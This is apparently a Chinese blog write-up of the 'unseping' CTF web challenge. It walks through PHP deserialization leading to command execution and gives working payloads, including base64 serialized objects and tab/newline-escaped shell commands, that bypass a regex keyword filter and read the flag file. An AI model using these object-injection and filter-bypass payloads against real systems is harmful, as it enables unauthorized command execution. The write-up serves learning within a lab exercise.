Web安全攻防世界04 unseping(江苏工匠杯)

问题描述

Web安全攻防世界04 unseping(江苏工匠杯)_第1张图片

依旧是参考大佬们的WP,时隔多日对原来的博文内容进行了修改与补充,内容小白友好~


原因分析:

按照惯例,把源码贴在这里逐行不靠谱地分析一下~

method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ //在脚本关闭时执行以下语句
        if (in_array($this->method, array("ping"))) { //如果 数组ping中存在method的值
            call_user_func_array(array($this, $this->method), $this->args); //返回回调函数的结果
        }
    } 
 
    function ping($ip){ //数组ping(变量ip)
        exec($ip, $result); //执行外部程序:查看ip
        var_dump($result); //输出ip查询结果
    }

    function waf($str){ //防火墙(变量str)
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str; //如果str中不含有上述字符,返回函数
        } else {
            echo "don't hack"; //否则的话,输出“don't hack”
        }
    }
 
    function __wakeup(){ //当类在外部执行反序列化时,执行此方法
        foreach($this->args as $k => $v) { //遍历输入字符,传递到防火墙中检查
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf']; //传参变量为ctf,传参方法为post
@unserialize(base64_decode($ctf)); //反序列化(以Base64的形式解码变量ctf)
?>

解题思路如下:

1 根据第14行 if (in_array($this->method, array("ping")));

   应该在数组的第一个变量method中写入"ping",以使if的判断条件满足,从而执行回调函数~ 

2 根据第25行 if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array))

   应该在数组的第二个变量args中写入查询flag文件的语句,需要的关键词在waf里已经非常贴心地提示了(手动狗头)~


解决方案:

工具:hackbar(浏览器插件)或burpsuite (用于post传参~本文是以hackbar示例~)

参考:张桢的保姆级WP:

1  源码分析

题目的难点在于绕过这句话:if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)),preg_match_all()执行全局正则表达式匹配,会搜索$str/(\||&|;| |\/|cat|flag|tac|php|ls)/的正则式匹配结果,并输出到$pat_array中~

本题"/(\||&|;| |\/|cat|flag|tac|php|ls)/"是正则表达式,"//"表示字符串的开始与结束,\表示转义,|表示或运算;

禁掉的内容为①|(转义)②&;空格/(转义)⑥catflagtacphpls

如果有兴趣,正则表达式可参考右侧的链接:php的正则表达式-PHP中文网

我们发现,他这一套正则表达式虽然出现了很多的\,但是都作为开头、结尾、转义消耗掉了,实际上根本没有禁掉\,是不是很意外~

 ↑在ls(linux命令,显示指定工作目录下之内容)中加入\,发现右侧直接输出了$str的值,而非don't hack,证明是成功绕过啦~同理,cat、flag、tac、php也可以在单词中加入转义字符\绕过~

2  构造poc

  $a = new ease("ping",array("l\s"));

  poc分析:传入满足ease类型的对象$a(起别的名字也可以的~),要求采用两个变量:method、args。

  1)method根据题目要求为 数组“ping”(根据源码第15行,回调函数中已经有array($this, $this->method),因此无需再输入array()这个格式);

  2)args根据题目要求为执行语句,根据博文上述分析,写为array("l\s");

  3)另外根据题目第40行@unserialize(base64_decode($ctf));,变量传入的时候会进行编码和反序列化,因此$a需要序列化,且进行Base64编码,代码末尾需要再添加一行实现序列化与解码功能——

  echo serialize(base64_encode($a));

  4)也可以在代码末尾增加一句代码检查序列化后的输出是否满足要求(非必要)——

  echo serialize($a);

复制源码,将这几行添加到程序末尾(或者直接复制下面贴着的代码),在编辑器内运行,平时不怎么编程的胖友也可以试试在线编辑器~PHP 在线工具 | 菜鸟工具 (runoob.com)

method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));

$a = new ease("ping",array("l\s"));
echo serialize($a);
echo base64_encode(serialize($a));
?>

 运行结果如图,红线位置圈注的两行(之后,array(2)之前)就是代码执行结果~

Web安全攻防世界04 unseping(江苏工匠杯)_第2张图片

F12调出开发者工具Hackbar,根据源代码39行$ctf=@$_POST['ctf'];,我们以post形式通过变量ctf传入编码的poc,如下图所示~

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

Web安全攻防世界04 unseping(江苏工匠杯)_第3张图片

此时页面最后一行提示了文件夹名称,flag_1s_here,那么下一步就是需要分为两行命令:

1)cd flag_1s_here //打开文件flag_1s_here

2)ls //查询文件内容;

大佬的payload如下~

$a = new ease("ping",array("cd\x09fl\ag_1\s_here\x0al\s"));
echo serialize($a);
echo base64_encode(serialize($a));

分析一下payload:"cd\x09fl\ag_1\s_here\x0al\s",利用了两个特性:

1)添加了\x09和\x0a。其中\x09是ASCII码16进制的制表符,用途相当于tab键,表示4个空格,用于绕过正则表达式中空格键的黑名单;\x0a是ASCII码的换行符,用于切换到第两行命令的执行。

若有兴趣,其他ASCII码转义字符的介绍:php中的转义字符 - 充实地生活着

 2)preg_match() 函数在第一次匹配后将会停止搜索,但preg_match_all() 函数会一直匹配到结尾,本题中采用preg_match_all() 就很适合多行命令的执行~

实际payload绕过waf的输出如下图所示,与我们想要的输出结果一致,证明可用~

Web安全攻防世界04 unseping(江苏工匠杯)_第4张图片

在菜鸟编辑器第42行中用下列代码替换原来的poc~

$a = new ease("ping",array("cd\x09fl\ag_1\s_here\x0al\s"));

Web安全攻防世界04 unseping(江苏工匠杯)_第5张图片

绿色线是程序运行的结果,再次以post形式上传至题目的页面,运行后得到flag文件名~

Web安全攻防世界04 unseping(江苏工匠杯)_第6张图片

此时页面最后一行提示了文件名flag_831b69012c67b35f.php,那么下一步就是——

cd flag_1s_here //查看文件夹flag_1s_here

cat  flag_831b69012c67b35f.php //查看flag_831b69012c67b35f.php文件

同理,同一行命令中间采用\x09制表符替代空格的作用,前后两行命令之间采用\x0a替代换行的作用,cat、flag与php中插入\以绕过正则表达式~

payload:cd\x09fl\ag_1\s_here\x0ac\at\x09fl\ag_831b69012c67b35f.p\hp

method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));

$a = new ease("ping",array("cd\x09fl\ag_1\s_here\x0ac\at\x09fl\ag_831b69012c67b35f.p\hp"));
echo serialize($a);
echo base64_encode(serialize($a));
?>

将上述代码复制到菜鸟编辑器,运行以后的结果是这样的~Web安全攻防世界04 unseping(江苏工匠杯)_第7张图片

 检查一下输出,确认问题不大后依旧将poc再次输入到页面中,得到flag~

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo1MDoiY2QJZmxcYWdfMVxzX2hlcmUKY1xhdAlmbFxhZ184MzFiNjkwMTJjNjdiMzVmLnBcaHAiO319

Web安全攻防世界04 unseping(江苏工匠杯)_第8张图片

 $cyberpeace{bd69cbe927b167a4f087d6e6ae4c09fa}

博文写得模糊或者有误之处,欢迎留言讨论与批评~

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

你可能感兴趣的:(#,攻防世界,php,开发语言,web安全)